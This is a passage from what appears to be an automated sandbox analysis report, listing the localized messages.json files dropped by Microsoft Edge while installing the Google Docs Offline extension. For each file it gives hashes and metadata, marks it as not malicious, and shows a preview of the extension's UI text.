Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
